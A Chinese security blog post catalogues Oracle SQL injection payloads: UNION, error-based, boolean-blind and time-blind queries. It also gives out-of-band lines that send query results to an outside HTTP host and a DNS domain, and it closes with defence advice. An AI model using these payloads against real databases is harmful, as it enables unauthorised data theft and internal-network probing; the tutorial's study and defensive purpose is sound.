安全研究

Oracle SQL 注入方式小总结

#Web安全#漏洞分析#SQL注入
近黑深绿蓝背景上,铜橙色的断裂链条与数据库锁孔透出微光,注入查询穿透数据库边界层——象征 Oracle SQL 注入与数据库安全研究

最近遇到 Oracle 注入的测试越来越多,而互联网上 Oracle 注入的总结相对少见(MySQL 的资料则铺天盖地)。为了能快速进行漏洞测试和挖掘,便想把之前学习的 Oracle 注入方式温习一遍并整理成文。本文参考了 Oracle 官方文档、互联网上各位前辈的博客以及几本经典 paper,期待和师傅、前辈们讨论交流。文中的 user 值均为 SQLINJECTION

说明:本文初稿写于 2017 年 8 月,此次归档时对过时的版本与权限说明做了更新,并在关键处用 note 标注。

Oracle 注入特性

在动手之前,先把 Oracle 与 MySQL 几个最容易踩坑的差异理清楚,后面所有 payload 都建立在这些特性之上:

  • 查询必须有表:Oracle 的 SELECT 必须带 FROM,没有表时可使用 dualdual 是 Oracle 的虚拟表,用来构成 select 的语法规则,Oracle 保证 dual 里永远只有一条记录(这点和 MySQL 可以 SELECT 1 直接出结果不同,刚从 MySQL 切过来很容易在这里报错)。
  • 强类型匹配:Oracle 的数据类型是强匹配的(MySQL 有弱匹配的味道),所以做 UNION 查询时,对应位置的数据类型必须与表中列的类型一致,无法快速猜类型的位置可以用 null 代替。
  • 注释符号:单行注释 --,多行注释 /**/,与 MySQL 一致。
  • 数据字典体系:Oracle 没有 MySQL 那样的 information_schema,元数据分散在 user_tablesuser_tab_columnsall_tablesdba_tables 等数据字典视图里,权限不同能看到的范围也不同。

UNION 注入

UNION 注入是最直接的回显路径,前提是页面能把查询结果回显出来。步骤和 MySQL 几乎一样,差别只在表名来源和类型匹配。

判断列数:

' order by 3 --

判断回显位置(用 null 占位以避开类型问题):

' union select null,null,null from dual --

获取数据库版本信息(Oracle 用 sys.v_$versionbanner 字段,对应 MySQL 的 version()):

' union select null,(select banner from sys.v_$version where rownum=1),null from dual --

获取数据表名(用 rownum=1 取第一条,再用 <> 逐个排除,这是 Oracle 下没有 LIMIT 的常规绕法):

' union select null,(select table_name from user_tables where rownum=1),null from dual --
' union select null,(select table_name from user_tables where rownum=1 and table_name<>'T_USER'),null from dual --

获取关键表中的列名(user_tab_columns 是 Oracle 的列信息视图):

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --

获取关键列中的字段数据:

' union select SNAME,SUSER,SPWD from T_USER --

报错注入

测试或漏洞挖掘时,如果发现页面会回显数据库报错信息,可以优先选择报错注入——把查询结果通过报错语句带出到错误页面。和 MySQL 仅靠函数报错不同,Oracle 通常需要借助比较运算符把报错语句嵌进 1=[报错语句]1>[报错语句] 这类表达式里触发。下面是几个常见且好用的报错函数。

0x01 utl_inaddr.get_host_name()

' and 1=utl_inaddr.get_host_name((select user from dual))--

0x02 ctxsys.drithsx.sn()

' and 1=ctxsys.drithsx.sn(1,(select user from dual))--

ctxsys.drithsx.sn() 报错注入 — ORA-20000 “主题词表 SQLINJECTION 不存在”

0x03 XMLType()

' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null--

XMLType() 报错注入 — ORA-31011 “无效的 QName :SQLINJECTION”

0x04 dbms_xdb_version.checkin()

' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--

dbms_xdb_version.checkin() 报错注入 — ORA-31001

0x05 dbms_xdb_version.makeversioned()

' and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null--

dbms_xdb_version.makeversioned() 报错注入 — ORA-31001

0x06 dbms_xdb_version.uncheckout()

' and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null--

dbms_xdb_version.uncheckout() 报错注入 — ORA-31001

0x07 dbms_utility.sqlid_to_sqlhash()

' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null--

dbms_utility.sqlid_to_sqlhash() 报错注入 — ORA-13797 “指定了无效的 SQL ID”

0x08 ordsys.ord_dicom.getmappingxpath()

' and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--
' and 1=ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user)--

ordsys.ord_dicom.getmappingxpath() 报错注入 — ORA-53044 顺带带出版本 11.2.0.1.0

0x09 decode 报错:这种方式更偏向布尔型注入——它不会把查询结果回显回来,只是用 1/0 触发除零错误,通过页面是否报错来判断条件是否成立。

' and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

decode 触发除零报错 — ORA-01476

带外通信

带外通信(Out-of-Band)参考自《SQL 注入攻击与防御》的思路:用 Oracle 发起 HTTP 或 DNS 请求,把查询结果拼到请求里,再从外网服务器的日志中读取——把繁琐的盲注变成可以直接拿到结果的方式。这种方法同时也能用于内网探测(或许这就是 Oracle 注入里的 SSRF?)。

0x01 utl_http.request() 向外网主机发送 HTTP 请求,请求里携带查询结果。在外网搭一个 Web 服务器记录请求日志即可接收:

' and 1=utl_http.request('http://10.10.10.1:80/'||(select banner from sys.v_$version where rownum=1)) --

utl_http.request() 带外通信:VMware 抓包显示请求到达 10.10.10.1,User-Agent 为 Oracle 11g Enterprise Edition Release 11.2.0.1.0

0x02 utl_inaddr.get_host_address() 把查询结果拼到域名下,通过 DNS 解析日志获取结果(环境搭建可参考 ricterz 的笔记):

' and (select utl_inaddr.get_host_address((select user from dual)||'.t4inking.win') from dual) is not null--

utl_inaddr.get_host_address() 报错注入 — ORA-29257 “unknown host SQLINJECTION.t4inking.win”

utl_inaddr 带外 DNS 抓包:Standard query 0x860f A SQLINJECTION.t4inking.win

2017 年我在原文里问过「这算不算 Oracle 的 SSRF」——答案是肯定的。utl_http 既能外带数据,也能向内网任意端口发请求做存活与端口探测,是 Oracle 注入里打通内网的高危通道,这也是为什么 11g R2 之后 Oracle 用 ACL 把它锁起来了。

布尔盲注

当页面既不回显也不报错,只能通过页面正常与否判断 SQL 是否执行时,就得用布尔盲注。通用思路是 ASCII() + substr() 组合,下面是我在多次漏洞挖掘中比较顺手的两个 payload,配上脚本就能批量取数据。

0x01 decode 布尔盲注substr(user,1,1) 是条件,'S' 是要遍历的字符,匹配则返回 1,否则返回默认值 0。

' and 1=(select decode(substr(user,1,1),'S',(1),0) from dual) --

decode 的语义等价于:

decode(条件, 值1, 翻译值1, 值2, 翻译值2, ..., 值n, 翻译值n, 缺省值)
  if 条件 == 值1 then return 翻译值1
  elsif 条件 == 值2 then return 翻译值2
  ...
  else return 缺省值

缺省值既可以是某个列名本身,也可以是自定义的值。

0x02 instr 布尔盲注instr 返回子串在目标字符串中的位置,未找到返回 0。通过对目标子串做遍历迭代就能逐字还原数据,思路类似 MySQL 的 regexp 注入。

' and 1=(instr((select user from dual),'SQL')) --

例如 select instr('abcdefgh','de') from dual 返回 4(位置从 1 开始算)。

instr 布尔盲注:查询 “SQL” 返回 1

时间盲注

当页面连布尔判断都没有、只能靠响应时间判断 SQL 是否执行时,就是时间盲注。Oracle 的时间盲注通常用 DBMS_PIPE.RECEIVE_MESSAGE()(这个是从 SQLMap 源码里发现的),另一种是 decode() 与高耗时 SQL 操作的组合。所谓高耗时操作,比如 select count(*) from all_objects,对库里大量数据做查询,会耗费明显的时间——这个思路同样适用于其他数据库。

0x01 DBMS_PIPE.RECEIVE_MESSAGE()

' and 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',10)) and '1'='1

实际用法(配合 CASE WHEN + ASCII + SUBSTRC 逐字符判断):

' AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),3,1))>96) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),1) ELSE 7238 END) AND '1'='1

DBMS_PIPE.RECEIVE_MESSAGE 的官方语法:

DBMS_PIPE.RECEIVE_MESSAGE(pipename IN VARCHAR2, timeout IN INTEGER DEFAULT maxwait) RETURN INTEGER

可以暂时理解成 DBMS_PIPE.RECEIVE_MESSAGE('任意值', 延迟秒数)

0x02 decode 时间盲注select count(*) from all_objects 会花更多时间去查所有数据库条目,用它做时间判断依据(类比 OWASP 测试指南里老虎机的案例)。

' and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1

也可以把 decodeDBMS_PIPE.RECEIVE_MESSAGE 嵌套:

' and 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('RDS',5),0) from dual) and '1'='1

防御建议

回头看,Oracle 注入的「姿势」虽然多,但根上都还是一个原因——SQL 语句被直接拼接。所以防御的落脚点很明确:

  1. 绑定变量 / 参数化查询:这是 Oracle 场景下最根本的解法。Oracle 的绑定变量不仅能防注入,还能提升硬解析效率,一举两得。JDBC 用 PreparedStatement、.NET 用 OracleParameter、MyBatis 用 #{},别图省事用 ${} 拼字符串。
  2. 收回 PUBLIC 权限UTL_HTTPUTL_INADDRDBMS_XDB_VERSIONDBMS_LOCKUTL_FILE 这些包默认对 PUBLIC 开放,是带外通信与提权的高危通道。生产库上应显式 REVOKE EXECUTE ON ... FROM PUBLIC,只授予真正需要的账号。
  3. 配置网络 ACL:11g R2 起,UTL_HTTPUTL_INADDRUTL_SMTPUTL_TCP 等网络包都受 ACL 约束,用 DBMS_NETWORK_ACL_ADMIN 配置白名单,限制可访问的主机与端口,把带外通道堵死。
  4. 最小权限账号:应用连接数据库的账号不要用 SYS/SYSTEM,给一个只有 SELECT/INSERT/UPDATE 业务表权限的低权账号,ALL_*/DBA_* 视图自然就看不到敏感元数据。
  5. WAF 与数据库审计:在前面加一层对 Oracle 注入特征(dualutl_dbms_v_$version)的检测,并在数据库层开启审计,留好追溯证据。

写在最后

Oracle 注入平时接触的机会相对少见,但一旦遇到——尤其是金融、政企这些还在大量用 Oracle 的行业——手法储备不够很容易卡壳。这篇文章把前辈们提出的各种姿势,以及我自己测试过比较好用的 payload 做了一次小结,方便日后查阅,也希望能让对 Oracle 注入无从下手的朋友有所收获。

核心还是那句话:注入的根在拼接,防御的根在绑定变量。攻击侧的各种函数与技巧,最终都能被参数化查询瓦解;而那些带外、报错的高危包,收回 PUBLIC 权限、配上 ACL,也就断了后路。知己知彼,把攻防两侧都想透了,防御才做得踏实。